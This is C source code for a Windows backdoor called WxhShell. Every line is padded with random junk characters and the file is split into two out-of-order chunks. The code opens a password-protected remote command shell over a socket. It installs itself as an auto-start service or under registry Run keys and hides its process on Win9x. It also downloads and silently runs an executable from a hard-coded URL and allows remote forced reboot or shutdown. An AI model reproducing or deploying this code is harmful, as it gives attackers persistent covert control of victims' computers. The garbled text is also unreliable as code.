    if(Boot(SHUTDOWN)) f|WNPFQ$x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'SY jEhvw  
    else { n7 4?W  
    closesocket(wsh); muT+H(Zp}  
    ExitThread(0); jr~ +}|@{  
    } UY*Hc  
    break; 2$yKa5SaX  
    } Hlp!6\gukp  
  // 获取shell Otj=vGr0  
  case 's': { %bZ3^ ub}t  
    CmdShell(wsh); U|g4t=@ZR  
    closesocket(wsh); &at>pV3_  
    ExitThread(0); KArf:d  
    break; M ioS  
  } PkF B.  
  // 退出 QB#f'X  
  case 'x': { }h5pM`|1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .^I,C!O#  
    CloseIt(wsh); u]@``Zb|  
    break; JMuUj_^}7  
    } ^USj9HTK  
  // 离开 Au#(guvm  
  case 'q': { 0?BT*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ooc,R(  
    closesocket(wsh); Zla5$GM  
    WSACleanup(); Ag }hyIl  
    exit(1); lEQ 63)Z  
    break; zu(/ c  
        } Ec8Y}C,{7<  
  } cInzwdh7  
  } BqvOi~ l  
)_ NQ*m  
  // 提示信息 FfI $3:9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m=z-}T5y!T  
} -kq=W_  
  } ?CAP8_  
Jh{(xGA  
  return; ^TVica  
} #E5Sc\,  
x@m"[u  
// shell模块句柄 ;Y?7|G97*S  
int CmdShell(SOCKET sock) {(o\G"\<XY  
{ R)WvU4+U  
STARTUPINFO si; Dgj`_yd  
ZeroMemory(&si,sizeof(si)); Y gQ_P4B;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } !pC}m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $7jJV(B  
PROCESS_INFORMATION ProcessInfo; (+4gq6b  
char cmdline[]="cmd"; zc'!a"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qXt2m  
  return 0; cm%QV?  
} Q {3"&  
Z7JI4"  
// 自身启动模式 +NxEx/{  
int StartFromService(void) ?%{bMqYJD{  
{ igOjlg_Q  
typedef struct L=Dd`  
{ 5Jp@n .  
  DWORD ExitStatus; {ogGi/8  
  DWORD PebBaseAddress; VHM,W]  
  DWORD AffinityMask; |n=m8X  
  DWORD BasePriority; x/~V ZO  
  ULONG UniqueProcessId; 1oFU4+{ 4  
  ULONG InheritedFromUniqueProcessId; B*zb0hdo:  
}   PROCESS_BASIC_INFORMATION; {}D8Y_=9\  
Q6_!I42Y`  
PROCNTQSIP NtQueryInformationProcess; ul(1)q^  
OC#oJwC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k^ B'W{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4sSQ nK  
!Lb9KDk  
  HANDLE             hProcess; Kk!D|NKLC  
  PROCESS_BASIC_INFORMATION pbi; r444s8Y  
R7KHfXy'm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  kej@,8  
  if(NULL == hInst ) return 0; .P# c/SQp  
``1#^ `  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P{)&#HXUVb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5f=e JDo=x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FxKH?Rl  
wDem }uO  
  if (!NtQueryInformationProcess) return 0; 2xni! *T+  
b}9K"GT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xleoh2&M  
  if(!hProcess) return 0; :)q/8 0@  
r*>XkM& M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y{? 6U>_  
hDl& KE  
  CloseHandle(hProcess); NjdAfgA  
Cm JI"   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G- Sw`HHo  
if(hProcess==NULL) return 0; e3F)FTG&  
#fG!dD42  
HMODULE hMod; b^y#.V.|k  
char procName[255]; HOsq _)K  
unsigned long cbNeeded; *Y9"-C+  
<gZC78}E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AQbbIngo  
[ \V]tpl!  
  CloseHandle(hProcess); .J%}ROm  
Zr;.`(>  
if(strstr(procName,"services")) return 1; // 以服务启动 TcpD*%wW  
?qHW"0Tjn  
  return 0; // 注册表启动 gD _tBv  
} lk}R#n$  
'iXjt MX  
// 主模块 Mn7 y@/1  
int StartWxhshell(LPSTR lpCmdLine) w I #_r_  
{ }qc[ysDK]  
  SOCKET wsl; H }uT'  
BOOL val=TRUE; w<J$12 "p+  
  int port=0; 2(5wFc  
  struct sockaddr_in door; `2J6Dz"W  
`;hsOfo  
  if(wscfg.ws_autoins) Install(); oE"!  
 n1y#gC  
port=atoi(lpCmdLine); Z!G;q}zZ!  
GaSk &'n$Y  
if(port<=0) port=wscfg.ws_port; +TpM7QaL  
UB.FX  
  WSADATA data; h[C!cX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {h&*H[Z z  
yIXM}i:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^(N+s?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "0`r]5 5d  
  door.sin_family = AF_INET; feIAgd},  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wx}\0(]Gl  
  door.sin_port = htons(port); 9D(M>'Bh  
>f'n l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^-~.L: }q  
closesocket(wsl); .Ky<9h.K  
return 1; fT[6Cw5w`  
} H^K(1  
'RQZU*8  
  if(listen(wsl,2) == INVALID_SOCKET) { &I:X[=;g  
closesocket(wsl); Gd%6lab  
return 1; 6\\B{%3R2  
} > :!faWX  
  Wxhshell(wsl); lr+Kwve  
  WSACleanup(); +@Fy) {C7  
qq[2h~6P]  
return 0; }!Qo wG   
.3{S6#  
} d+fmVM?p  
70lb6A  
// 以NT服务方式启动 -66|Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #T#&qo#  
{ z.e%AcX  
DWORD   status = 0; 1 YMaUyL 1  
  DWORD   specificError = 0xfffffff; &^ =t%A%#  
NvJu)gI%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D<L]'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C(?>l.QGw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q,aWF5m@  
  serviceStatus.dwWin32ExitCode     = 0; +**H7: bO  
  serviceStatus.dwServiceSpecificExitCode = 0; ^T(l3r  
  serviceStatus.dwCheckPoint       = 0; =ub&@~E  
  serviceStatus.dwWaitHint       = 0; "Z &qOQg%3  
^yy\CtG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?7^('  
  if (hServiceStatusHandle==0) return; .N_0rPO,Kw  
*S~. KW[  
status = GetLastError(); jt Q2vJ-  
  if (status!=NO_ERROR) |A'8'z&q  
{ ^=OjsN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  t Z\  
    serviceStatus.dwCheckPoint       = 0; Jc`LUJT  
    serviceStatus.dwWaitHint       = 0; Ip.5I!h[Xb  
    serviceStatus.dwWin32ExitCode     = status; Q`5jEtu#,  
    serviceStatus.dwServiceSpecificExitCode = specificError; *: e^yi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |oSyyDYWP  
    return; FLEf(  
  } U QXT&w  
.X_k[l9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7<IrN\@U  
  serviceStatus.dwCheckPoint       = 0; bxkp9o  
  serviceStatus.dwWaitHint       = 0; FxM`$n~K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {(D$ Xb  
} [Gh T.  
kul&m|  
// 处理NT服务事件,比如:启动、停止 ~;UK/OZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )uwpeq$j7l  
{ w gATfygr  
switch(fdwControl) ^CZn<$  
{ */nb%QV  
case SERVICE_CONTROL_STOP: iP|h];a+@  
  serviceStatus.dwWin32ExitCode = 0; ;fee<7T y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xa[gDdbL  
  serviceStatus.dwCheckPoint   = 0; nt "VH5  
  serviceStatus.dwWaitHint     = 0; e`k 2g ^  
  { YXrTm[P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ywr^uy1V,/  
  } t.lm`=  
  return; J24UUZ9&$  
case SERVICE_CONTROL_PAUSE: H&mw!=FV0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ReZ|q5*  
  break; J^n(WnM*F  
case SERVICE_CONTROL_CONTINUE: J%j#gyTU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,_u8y&<|I  
  break; ThJLaNS  
case SERVICE_CONTROL_INTERROGATE: rm2{PV<+d  
  break; OPwp(b  
}; lsJ'dS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tz1iabZ{  
} h(GgkTj4+  
"*%=k%'  
// 标准应用程序主函数 /Lu wPM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jTSw0\}  
{ *ubLuC+b  
lG%oqxJ+ L  
// 获取操作系统版本 o \b8lwA,  
OsIsNt=GetOsVer(); <\X4_sdy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1ReO.Dd`R  
A3$ rPb8  
  // 从命令行安装 %9{4g->  
  if(strpbrk(lpCmdLine,"iI")) Install(); mOGcv_L  
BI4 p3-  
  // 下载执行文件 z)43+8;  
if(wscfg.ws_downexe) { -a&wOn-W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y ?4|jN  
  WinExec(wscfg.ws_filenam,SW_HIDE); r A0[y  
} a(d'iAU8^  
r6Pi ZgR  
if(!OsIsNt) { (tyo4Tz1  
// 如果时win9x,隐藏进程并且设置为注册表启动 (V{bfDu&h@  
HideProc(); xx!o]D-}  
StartWxhshell(lpCmdLine); {< jLfL1  
} e)!X9><J  
else ]~3wq[O  
  if(StartFromService()) I0m/   
  // 以服务方式启动 /A|ofAr)  
  StartServiceCtrlDispatcher(DispatchTable); KM< M^l_Q  
else si3i#l&.b_  
  // 普通方式启动 )bi*y`UM]  
  StartWxhshell(lpCmdLine); @hl5^d"l  
VI" ,E}  
return 0; =2J+}ac  
} 1MfRF v  
P)>WIQSr  
sl |S9Ix  
o)"}DeV$&  
=========================================== 0)k%nIhj  
4?jhZLBU  
1m}'Y@I  
rZ:  
&rcr])jg[  
W 86S)+h  
" U NQup;#h  
9XobTi3+'  
#include <stdio.h> Fypqf|  
#include <string.h> MI',E?#yB  
#include <windows.h> FE/&<g0,:  
#include <winsock2.h> ;S,g&%N  
#include <winsvc.h> AWD &K!  
#include <urlmon.h> ={={ W  
T_v  
#pragma comment (lib, "Ws2_32.lib") ou,W|<%  
#pragma comment (lib, "urlmon.lib") nHyWb6  
wnt^WW=a[  
#define MAX_USER   100 // 最大客户端连接数 ]y.,J  
#define BUF_SOCK   200 // sock buffer EU>@k{Qt  
#define KEY_BUFF   255 // 输入 buffer KGP2,U6  
7-W(gD!`  
#define REBOOT     0   // 重启 N;r,B  
#define SHUTDOWN   1   // 关机 ;u}MG3Y8  
oJyC{G  
#define DEF_PORT   5000 // 监听端口 X=${`n%LG  
!Q#u i[0q  
#define REG_LEN     16   // 注册表键长度 P,I3E?! j  
#define SVC_LEN     80   // NT服务名长度 u`E_Q8  
Q`r1pO  
// 从dll定义API *J1pxZ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *DDfdn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;E* ^AW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,2&'8:B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RDzL@xCcn  
``aoLQc`  
// wxhshell配置信息 >%Y.X38Z[  
struct WSCFG { >s[}f6*2@  
  int ws_port;         // 监听端口 c{||l+B  
  char ws_passstr[REG_LEN]; // 口令 +1h^9 Y'  
  int ws_autoins;       // 安装标记, 1=yes 0=no bTHJbpt*-  
  char ws_regname[REG_LEN]; // 注册表键名 GN=F-*2  
  char ws_svcname[REG_LEN]; // 服务名 ?em)om  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <KHB/7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g.F{yX]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F^A1'J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +/x|P-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ; h/Y9uYn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _IT,>#ba  
8b6:n1<fn  
}; 6D0uLh  
',juZ[]_ {  
// default Wxhshell configuration e|+uLbN&;c  
struct WSCFG wscfg={DEF_PORT, Sq(=Bn6E  
    "xuhuanlingzhe", K{q(/>:  
    1, a`/[\K6  
    "Wxhshell", tH>%`:  
    "Wxhshell", V+Cb.$@  
            "WxhShell Service", ~)oC+H@{  
    "Wrsky Windows CmdShell Service", 6JK;]Ah  
    "Please Input Your Password: ", `I6)e{5t  
  1, !X[lNt O  
  "http://www.wrsky.com/wxhshell.exe", IO v4Zx<)  
  "Wxhshell.exe" p)TH^87  
    }; !ZSC"  
c{FvMV2em  
// 消息定义模块 !B-&I E?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YdC:P# Nf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LNg[fF^:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VMHiuBz:  
char *msg_ws_ext="\n\rExit."; $JX_e  
char *msg_ws_end="\n\rQuit."; }"q1B  
char *msg_ws_boot="\n\rReboot..."; 0qR;Z{k  
char *msg_ws_poff="\n\rShutdown..."; H~x0-q<8  
char *msg_ws_down="\n\rSave to "; I>9rfmmTI  
;YK^&!N  
char *msg_ws_err="\n\rErr!"; 6@Eip[e  
char *msg_ws_ok="\n\rOK!"; f"k/j?e*  
j}0*`[c  
char ExeFile[MAX_PATH]; <`6-J `.  
int nUser = 0; joM98H@  
HANDLE handles[MAX_USER]; j q1qj9KZ  
int OsIsNt; K")-P9I6-f  
Jc{zi^)(EN  
SERVICE_STATUS       serviceStatus; 8)R )h/E>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (">!vz  
<C CEqY 4  
// 函数声明 0{AVH/S  
int Install(void); 9dKrE_zK:  
int Uninstall(void); f$(w>B7..  
int DownloadFile(char *sURL, SOCKET wsh); .>CqZN,^  
int Boot(int flag); !u4oo-  
void HideProc(void); Fp@eb8Pl  
int GetOsVer(void); $XT&8%|*7  
int Wxhshell(SOCKET wsl); /V&$SRdL*  
void TalkWithClient(void *cs); E37`g}ZS  
int CmdShell(SOCKET sock); D5AKOM!`  
int StartFromService(void); ;y"E}h  
int StartWxhshell(LPSTR lpCmdLine); W&+UF'F2  
ly, d =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tw*qlbFHv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )O2^?Q quS  
_NqEhf:8  
// 数据结构和表定义 AQ+w%>G6  
SERVICE_TABLE_ENTRY DispatchTable[] = YW/YeID  
{ 8i X?4qj{P  
{wscfg.ws_svcname, NTServiceMain}, N15{7 ,   
{NULL, NULL} , JVD ;u  
}; }\l5|Ft[!  
mjy%xzVr6^  
// 自我安装 3R4-MK  
int Install(void) d@] 0 =Ax  
{ PX]A1Kt?  
  char svExeFile[MAX_PATH]; z KJ6j]m  
  HKEY key; HESwz{eSS  
  strcpy(svExeFile,ExeFile); }>)"!p;t_  
if^\Gs$  
// 如果是win9x系统,修改注册表设为自启动 jL`S6E?7  
if(!OsIsNt) { E$8GXo00v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gDAA>U3|$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 NJ1cQ-}t  
  RegCloseKey(key); j g$%WAEb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NSM-p.I9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tLV9b %i(  
  RegCloseKey(key); yt_?4Hc"  
  return 0; ^dqyX(  
    } p|AIz3  
  } S' TF7u  
} NGS/lKz  
else { %)q5hB  
CE*@CkC0z  
// 如果是NT以上系统,安装为系统服务 M^g"U`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %&z9^}Vd[  
if (schSCManager!=0) b.ow0WYe  
{ ,)oUdwR k  
  SC_HANDLE schService = CreateService  D&N5)  
  ( t3U*rr|A  
  schSCManager, =b9?r  
  wscfg.ws_svcname, npbNUKdz  
  wscfg.ws_svcdisp, !;iySRZr  
  SERVICE_ALL_ACCESS, skZxR5v3~L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WnHf)(J`"  
  SERVICE_AUTO_START, \[Rh\v&  
  SERVICE_ERROR_NORMAL, cB?HMLbG>  
  svExeFile,  >cSc   
  NULL, >`s2s@Mx  
  NULL, A")B<BK  
  NULL, c9f~^}jNb  
  NULL, $&lS7}  
  NULL H!oP!rzEo  
  ); y4M<L. RO  
  if (schService!=0) H> _%ZXL  
  { v*]|1q%/  
  CloseServiceHandle(schService); 5=Gq d4&*  
  CloseServiceHandle(schSCManager); u49/LtB\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Qt#6X|  
  strcat(svExeFile,wscfg.ws_svcname); mC J/gWDY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5O*. qp?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3haY{CEr  
  RegCloseKey(key); D97oS!*  
  return 0; xN2{Vi{ad  
    } ?c=l"\^x  
  } "R):B~8|H{  
  CloseServiceHandle(schSCManager); O!/J2SfuDH  
} bO^%#<7  
} { -<h5_h@  
<7)Vj*VxC  
return 1; [ &R-YQ@  
} rj<%_d'Z`  
0)9GkHVu(  
// 自我卸载 uX`Jc:1q3  
int Uninstall(void) Cw Z{&  
{ ;:"~utL7  
  HKEY key; {b]WLBy  
d \0K 3=h  
if(!OsIsNt) { JLc\KVmF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S>cT(q_&  
  RegDeleteValue(key,wscfg.ws_regname); (AR-8  
  RegCloseKey(key); f N t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zf(ucAhL  
  RegDeleteValue(key,wscfg.ws_regname); 8]2S'm xE  
  RegCloseKey(key); #M{}Grg  
  return 0; 0g`WRe  
  } n6ud;jN|  
} O6boTB_2  
} G 7zfyw}W  
else { C"hc.A&4  
WY<ip<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OEZXV ;F  
if (schSCManager!=0) T[ky7\  
{ ng<|lsZd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gEPCXf  
  if (schService!=0) uOm fpgO  
  { c;(}Ih(#  
  if(DeleteService(schService)!=0) { ;k!Ej-(  
  CloseServiceHandle(schService); rQ~%SUM7  
  CloseServiceHandle(schSCManager); ^#g GA_H  
  return 0; \n+`~< i  
  } B>9D@fmzs  
  CloseServiceHandle(schService); 4my8 p Fk  
  } FC vR  
  CloseServiceHandle(schSCManager); H(n_g QAX  
} pMs%`j#T  
} :/ "q NPJ  
,uDB ]  
return 1; :vV?Yv%P)n  
} bpKb<c  
!f_Kq$.{  
// 从指定url下载文件 Q.vtU%T  
int DownloadFile(char *sURL, SOCKET wsh) I /> .P  
{ |@V<}2zCZ  
  HRESULT hr; @GjWeOj]  
char seps[]= "/"; p/SJt0  
char *token; ~-'nEATE  
char *file; aD%")eP%&  
char myURL[MAX_PATH]; UW)k]@L  
char myFILE[MAX_PATH]; Pm" ,7  
gqG l>=.m  
strcpy(myURL,sURL); ]sbu9O ^"f  
  token=strtok(myURL,seps); #[Ns\%Ri0  
  while(token!=NULL) \kC/)d  
  { ]FsPlxk6  
    file=token; 1/ j}VC  
  token=strtok(NULL,seps); $Fr$9 jq&  
  } Eepy%-\  
W 4 )^8/  
GetCurrentDirectory(MAX_PATH,myFILE); O:k@'&  
strcat(myFILE, "\\"); Fvi<5v  
strcat(myFILE, file); :c<C;.  
  send(wsh,myFILE,strlen(myFILE),0); lD 9'^J  
send(wsh,"...",3,0); )UN@|IX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KA%tVBl  
  if(hr==S_OK) 5b|_?Em7  
return 0; coU`2n/  
else zXp{9P\c  
return 1; ow]n)Te  
8 I,(\<Xv  
} 5RZAs63t  
<R_3; 5J%  
// 系统电源模块 %o*afd  
int Boot(int flag) >W 8!YOc  
{ 4sROMk=l  
  HANDLE hToken; [+ 1([#  
  TOKEN_PRIVILEGES tkp; 0'aZ*ozk  
uXtfP?3Vy  
  if(OsIsNt) { &bA;>Lu#|o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a Se.]_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vmW4a3  
    tkp.PrivilegeCount = 1; fZXd<Fg+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ml0d^l}'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BKVvu}V(o  
if(flag==REBOOT) { 9u"im+=:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @Q TG  
  return 0; Z`< +8e  
} _mFb+8C  
else { F~<$E*&h@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e|]g ?!  
  return 0; _khQ  
} N b(se*Y#  
  } B/pNM81(  
  else { cUS2* 7h  
if(flag==REBOOT) { `(Ei-$ >U&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ilpg()  
  return 0; N[zI@>x  
} 9;JU c0%  
else { qlDLZ.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sm\/wlbE  
  return 0; }]tSWVb*  
} lzl4pnj  
} ITq+Hk R  
Auv/w}zrr  
return 1; ?Cmb3pX^\  
} *)u_m h  
@{XN}tWDOp  
// win9x进程隐藏模块 (7-K4j`   
void HideProc(void) QAcvv 0Hv  
{ #`}g?6VHo  
a?Q~C<k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vWzNsWPK"{  
  if ( hKernel != NULL ) PMkwY {.u  
  { zgVplp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?MO'WB9+JR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `4Nc(aUr  
    FreeLibrary(hKernel); `4l>%S8y:  
  } M,y='*\M  
213D{#2  
return; E39:}_IV  
} >-+MWu=  
lL%7lO   
// 获取操作系统版本  <}B|4($  
int GetOsVer(void) 5F&i/8Ib  
{ +Y 3_)  
  OSVERSIONINFO winfo; 0-FwHDxw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7B+?1E(  
  GetVersionEx(&winfo); h :NHReMT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I%{U~  
  return 1; KAEf4/  
  else _v]I6<!5U  
  return 0; Gs*ea'T)  
} C:gE   
1&wZJP=  
// 客户端句柄模块 0nhsjN}v  
int Wxhshell(SOCKET wsl) -YS n 3=  
{ z36nyo  
  SOCKET wsh; xp><7{  
  struct sockaddr_in client; ?55('+{l  
  DWORD myID; PS \QbA  
EA?:GtH  
  while(nUser<MAX_USER) qWQJ>  
{ xZ4\.K\f]  
  int nSize=sizeof(client); w )DO"Z7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V<ODt%  
  if(wsh==INVALID_SOCKET) return 1; o{>hOs &  
VO++(G)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zA-?x1th&  
if(handles[nUser]==0) }qb z&%R  
  closesocket(wsh); s?OGB}  
else zA( 2+e 7  
  nUser++; APK@Oq  
  } r+$ 0u~^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); etGquW.  
?V*>4A  
  return 0; { SK8Mdn  
} *7!}[ v_  
u%ih7v!r\  
// 关闭 socket <&W3\/xx  
void CloseIt(SOCKET wsh) S2j7(T;~YB  
{ 0r+-}5aSl5  
closesocket(wsh); d7KeJ$xy}p  
nUser--; y0A2{'w  
ExitThread(0); Z AZQFr'*  
} B[b'OtH  
oqE h_[.  
// 客户端请求句柄 !?Ow"i-lp  
void TalkWithClient(void *cs) )t)tk=R9N  
{ dqd Qt_  
B%'Np7  
  SOCKET wsh=(SOCKET)cs; ,9W0fm \t  
  char pwd[SVC_LEN]; vi lNl|  
  char cmd[KEY_BUFF]; ,wZ[Y 3  
char chr[1]; xB9^DURr\  
int i,j; R<JI  
Hi.JL  
  while (nUser < MAX_USER) { >@]E1Qfe  
S :(1=@  
if(wscfg.ws_passstr) { qJISB7F[%O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Ko0zz|R/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %}$6#5"';  
  //ZeroMemory(pwd,KEY_BUFF); |fRajuA;  
      i=0; )xTp7YnZ;  
  while(i<SVC_LEN) { [vV-0Lx"  
Ep0Aogp29  
  // 设置超时 lzm9ClkfH  
  fd_set FdRead; Or6'5e?N  
  struct timeval TimeOut; 9';0vrFeM  
  FD_ZERO(&FdRead); ts9N$?0:V  
  FD_SET(wsh,&FdRead); %>24.i"l  
  TimeOut.tv_sec=8; _#N~$   
  TimeOut.tv_usec=0; GI6 EZ}.MZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B_}=v$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bM;tQ38*  
/dWuHS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); })&0e:6  
  pwd=chr[0]; ixfkMM ,W  
  if(chr[0]==0xd || chr[0]==0xa) { mv30xcc  
  pwd=0; )[qY|yu  
  break; ~Bu~?ZJmd  
  } NK,)"WE  
  i++; ugMJ}IGq  
    } =E |[8 U)  
ym,S /Uz  
  // 如果是非法用户,关闭 socket :%!SzI?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Txp~&a03  
} _VY]  
%/S BJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kz^aW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @?gH3Y_  
k^ZUOWmU|  
while(1) { b[BSUdCB  
G%'h'AV"  
  ZeroMemory(cmd,KEY_BUFF); ]=]'*Z%  
-,XS2[  
      // 自动支持客户端 telnet标准   oD"fRBS+$  
  j=0; PT\5P&2o@  
  while(j<KEY_BUFF) { >8>.o[Q&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !4*@H  
  cmd[j]=chr[0]; !q7M+j4  
  if(chr[0]==0xa || chr[0]==0xd) { #2cH.`ty  
  cmd[j]=0; ;>Z#1~8  
  break; >n` OLHg;  
  } [a+?z6qI\}  
  j++; j- A S {w  
    } b*p,s9k7  
av`b8cGg  
  // 下载文件 zb;2xTH+  
  if(strstr(cmd,"http://")) { ;q$<]X_S)}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .X:{s,@  
  if(DownloadFile(cmd,wsh)) [Q^kO;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w)!(@}vd  
  else BE3~f6 `  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CTPn'P=\C  
  } *>\RGL;]8  
  else { -u8@ .  
OgOu$.  
    switch(cmd[0]) { t^h>~o' \  
